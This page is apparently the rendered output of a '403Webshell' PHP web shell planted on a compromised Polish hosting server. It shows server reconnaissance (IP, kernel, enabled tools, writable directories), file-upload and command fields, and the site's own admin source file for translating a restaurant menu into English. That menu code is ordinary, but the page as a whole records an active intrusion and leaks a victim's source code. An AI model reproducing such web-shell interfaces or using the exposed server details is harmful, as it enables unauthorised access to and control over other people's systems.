403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/translate-menu.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_once dirname(__DIR__).'/includes/polana_translate_client.php';
require_login();
require_admin_role();
$id = (int)($_GET['id'] ?? $_POST['menu_id'] ?? 0);
$stmt = db()->prepare('SELECT * FROM menus WHERE id=? LIMIT 1');
$stmt->execute([$id]);
$menu = $stmt->fetch();
if (!$menu) { http_response_code(404); exit('Nie znaleziono karty.'); }
start_session();
$sessionKey = 'polana_mt_menu_'.$id;
$error = '';

function polana_mt_job_rows(int $id): array
{
    $rows = [];
    foreach (menu_categories_with_items($id, true) as $cat) {
        if (trim((string)($cat['name_en'] ?? '')) === '' && trim((string)$cat['name']) !== '') {
            $rows['c:'.$cat['id'].':name'] = ['pl'=>(string)$cat['name'],'en'=>'', 'table'=>'c','id'=>(int)$cat['id'], 'field'=>'name_en'];
        }
        foreach ($cat['items'] as $item) {
            foreach (['name'=>'name_en','description'=>'description_en', 'ingredients'=>'ingredients_en', 'allergens'=>'allergens_en'] as $src=>$dst) {
                if (trim((string)($item[$dst] ?? '')) !== '' || trim((string)($item[$src] ?? '')) === '') continue;
                $rows['i:'.$item['id'].':'.$src] = [
                    'pl'=>(string)$item[$src], 'en'=>'','table'=>'i','id'=>(int)$item['id'],'field'=>$dst,
                ];
            }
        }
    }
    return $rows;
}

function polana_mt_json(array $payload, int $code=200): never
{
    http_response_code($code);
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store');
    echo json_encode($payload, JSON_UNESCAPED_UNICODE|JSON_INVALID_UTF8_SUBSTITUTE);
    exit;
}

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'POST') {
    verify_csrf();
    $action = (string)($_POST['action'] ?? '');
    try {
        if ($action === 'begin') {
            if (!polana_mt_configured()) throw new RuntimeException('Najpierw skonfiguruj HTTPS i token serwera tłumaczeń. Instrukcja jest w paczce.');
            $rows = polana_mt_job_rows($id);
            if (!$rows) throw new RuntimeException('Ta karta ma już uzupełnione pola angielskie lub nie ma pozycji do tłumaczenia.');
            $_SESSION[$sessionKey] = ['created_at'=>time(), 'rows'=>$rows];
            redirect('/admin/translate-menu.php?id='.$id);
        }
        if ($action === 'step') {
            $job = $_SESSION[$sessionKey] ?? null;
            if (!is_array($job) || time()-(int)($job['created_at'] ?? 0)>3600) throw new RuntimeException('Sesja tłumaczenia wygasła. Rozpocznij ponownie.');
            $pending = [];
            foreach ($job['rows'] as $key=>$row) {
                if ($row['en'] === '') $pending[$key] = $row['pl'];
                if (count($pending) >= 5) break;
            }
            if ($pending) {
                $translated = polana_mt_batch(array_values($pending));
                foreach (array_keys($pending) as $i=>$key) {
                    $_SESSION[$sessionKey]['rows'][$key]['en'] = $translated[$i];
                }
            }
            $left = count(array_filter($_SESSION[$sessionKey]['rows'], static fn($r):bool => $r['en']===''));
            polana_mt_json(['ok'=>true,'remaining'=>$left,'total'=>count($_SESSION[$sessionKey]['rows'])]);
        }
        if ($action === 'apply') {
            $job = $_SESSION[$sessionKey] ?? null;
            if (!is_array($job) || time()-(int)($job['created_at'] ?? 0)>3600) throw new RuntimeException('Sesja tłumaczenia wygasła.');
            $all = $job['rows'];
            if (array_filter($all,static fn($r):bool => $r['en']==='')) throw new RuntimeException('Nie wszystkie tłumaczenia są gotowe.');
            if (empty($_POST['verified'])) throw new RuntimeException('Przed zapisaniem EN musisz potwierdzić ręczne sprawdzenie tłumaczeń.');
            $posted = $_POST['translation'] ?? [];
            if (!is_array($posted)) throw new RuntimeException('Brak tłumaczeń.');
            $pdo = db(); $pdo->beginTransaction();
            try {
                foreach ($all as $key=>$row) {
                    $translated = trim((string)($posted[$key] ?? ''));
                    if ($translated==='' || strlen($translated)>2500) throw new RuntimeException('Brakuje tekstu EN dla: '.$row['pl']);
                    if ($row['table']==='c') {
                        // Nazwa kategorii ma limit varchar(150).
                        if (strlen($translated)>150) throw new RuntimeException('Za długa angielska nazwa kategorii.');
                        $q=$pdo->prepare('UPDATE menu_categories SET name_en=? WHERE id=? AND menu_id=? AND name=? AND (name_en IS NULL OR name_en=\'\')');
                        $q->execute([$translated,$row['id'],$id,$row['pl']]);
                        if ($q->rowCount()!==1) throw new RuntimeException('Pozycja zmieniła się w trakcie tłumaczenia. Odśwież podgląd EN.');
                    } else {
                        if ($row['field']==='name_en' && strlen($translated)>255) throw new RuntimeException('Za długa angielska nazwa pozycji.');
                        // Field comes only from server-built whitelist, never from $_POST.
                        $allowed=['name_en','description_en','ingredients_en','allergens_en'];
                        if (!in_array($row['field'],$allowed,true)) throw new RuntimeException('Błędne pole tłumaczenia.');
                        $sourceFields=['name_en'=>'name','description_en'=>'description','ingredients_en'=>'ingredients','allergens_en'=>'allergens'];
                        $src=$sourceFields[$row['field']];
                        $q=$pdo->prepare('UPDATE menu_items i JOIN menu_categories c ON c.id=i.category_id SET i.'.$row['field'].'=? WHERE i.id=? AND c.menu_id=? AND i.'.$src.'=? AND (i.'.$row['field'].' IS NULL OR i.'.$row['field'].'=\'\')');
                        $q->execute([$translated,$row['id'],$id,$row['pl']]);
                        if ($q->rowCount()!==1) throw new RuntimeException('Polski tekst zmienił się podczas tłumaczenia. Rozpocznij ponownie.');
                    }
                }
                $pdo->commit();
            } catch (Throwable $e) { if ($pdo->inTransaction()) $pdo->rollBack();throw $e; }
            unset($_SESSION[$sessionKey]);
            admin_log('menu_auto_en', 'Zatwierdzono EN karty '.$id);
            flash('success','Zapisano tłumaczenia EN. Polskie nazwy i ceny nie zostały zmienione. Sprawdź nazwy win i alergeny.');
            redirect('/admin/menu.php?id='.$id);
        }
        if ($action === 'cancel') {
            unset($_SESSION[$sessionKey]);
            redirect('/admin/translate-menu.php?id='.$id);
        }
        throw new RuntimeException('Nieznana operacja.');
    } catch (Throwable $e) {
        if ($action==='step') polana_mt_json(['ok'=>false,'message'=>$e->getMessage()],502);
        $error=$e->getMessage();
    }
}
$job = $_SESSION[$sessionKey] ?? null;
if (is_array($job) && time()-(int)$job['created_at']>3600) {unset($_SESSION[$sessionKey]);$job=null;}
$remaining = is_array($job) ? count(array_filter($job['rows'],static fn($r):bool =>$r['en']==='')) : 0;
render_admin_header('Docker → EN');
?>
<div class="admin-title-row"><div><h1>🇬🇧 Automatyczne tłumaczenie PL → EN</h1><p><?= e($menu['name']) ?> · własny kontener LibreTranslate · bez zmiany polskich nazw i cen</p></div><a class="btn btn-light" href="/admin/menu.php?id=<?= $id ?>">← Karta</a></div>
<?php if ($error): ?><section class="form-card" style="color:#9b2424"><strong><?= e($error) ?></strong></section><?php endif; ?>
<section class="form-card">
<p>Polskie nazwy potraw, win, składniki i alergeny trafiają do Twojego kontenera. Wyniki przejrzyj przed zatwierdzeniem; nazwy własne i alergeny wymagają kontroli człowieka.</p>
<p>Status API: <strong><?= polana_mt_configured() ? 'Skonfigurowano URL i klucz (łączność sprawdzana podczas tłumaczenia)' : 'Nie skonfigurowano – zobacz instrukcję Docker' ?></strong></p>
<?php if (!$job): ?>
<form method="post"><?= csrf_field() ?><input type="hidden" name="menu_id" value="<?= $id ?>"><input type="hidden" name="action" value="begin"><button class="btn btn-green" type="submit">Przetłumacz brakujące pola na EN</button></form>
<?php else: ?>
<div id="polana-mt-progress" role="status" aria-live="polite" style="font-weight:700;padding:10px 0"><?= $remaining ? 'Tłumaczenie: pozostało '.$remaining.' pól' : 'Gotowe do weryfikacji i zatwierdzenia' ?></div>
<?php if ($remaining): ?>
<button class="btn btn-primary" id="polana-mt-run" type="button"><?= 'Rozpocznij / wznów automatyczne tłumaczenie' ?></button>
<?php else: ?>
<form method="post"><?= csrf_field() ?><input type="hidden" name="menu_id" value="<?= $id ?>"><input type="hidden" name="action" value="apply">
<h2>Podgląd EN – sprawdź i popraw</h2>
<?php foreach ($job['rows'] as $key=>$row): ?>
<label style="display:block;margin-bottom:12px;font-weight:600"><?= e($row['pl']) ?>
<textarea name="translation[<?= e($key) ?>]" rows="2" maxlength="2500" style="width:100%;display:block"><?= e($row['en']) ?></textarea></label>
<?php endforeach; ?>
<p style="padding:14px;border:1px solid #dfa31a;border-radius:10px"><strong>⚠️ Tłumaczenie maszynowe — sprawdź przed publikacją.</strong> Zwróć uwagę na nazwy szczepów win, składniki i alergeny. Dla już opublikowanej karty zapis EN będzie od razu widoczny na stronie angielskiej.</p>
<label style="display:block;margin:12px 0"><input type="checkbox" name="verified" value="1" required> <strong>Sprawdziłem wszystkie tłumaczenia i zatwierdzam ich publikację.</strong></label>
<button class="btn btn-green" type="submit">Zatwierdź i zapisz EN</button>
</form>
<?php endif; ?>
<form method="post" style="margin-top:16px"><?= csrf_field() ?><input type="hidden" name="menu_id" value="<?= $id ?>"><input type="hidden" name="action" value="cancel"><button class="btn btn-light" type="submit">Anuluj podgląd (bez zmiany menu)</button></form>
<?php endif; ?>
</section>
<?php if ($job && $remaining): ?>
<script>
(() => {
const btn=document.getElementById('polana-mt-run');const progress=document.getElementById('polana-mt-progress');
if(!btn||!progress)return;let working=false;
btn.addEventListener('click',async()=>{
 if(working)return;working=true;btn.disabled=true;
 try{
  while(true){
   const form=new URLSearchParams({csrf_token:<?= json_encode(csrf_token()) ?>,menu_id:<?= json_encode((string)$id) ?>,action:'step'});
   const res=await fetch(location.pathname+'?id=<?= $id ?>',{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:form});
   const answer=await res.json();if(!res.ok||!answer.ok)throw new Error(answer.message||'HTTP '+res.status);
   progress.textContent='Przetłumaczono '+(answer.total-answer.remaining)+' / '+answer.total+' pól';
   if(answer.remaining===0){location.reload();return;}
  }
 }catch(ex){progress.textContent='Błąd: '+(ex.message||ex)+'. Możesz wznowić bez utraty wcześniejszych wyników.';btn.disabled=false;working=false;}
});
})();
</script>
<?php endif; ?>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit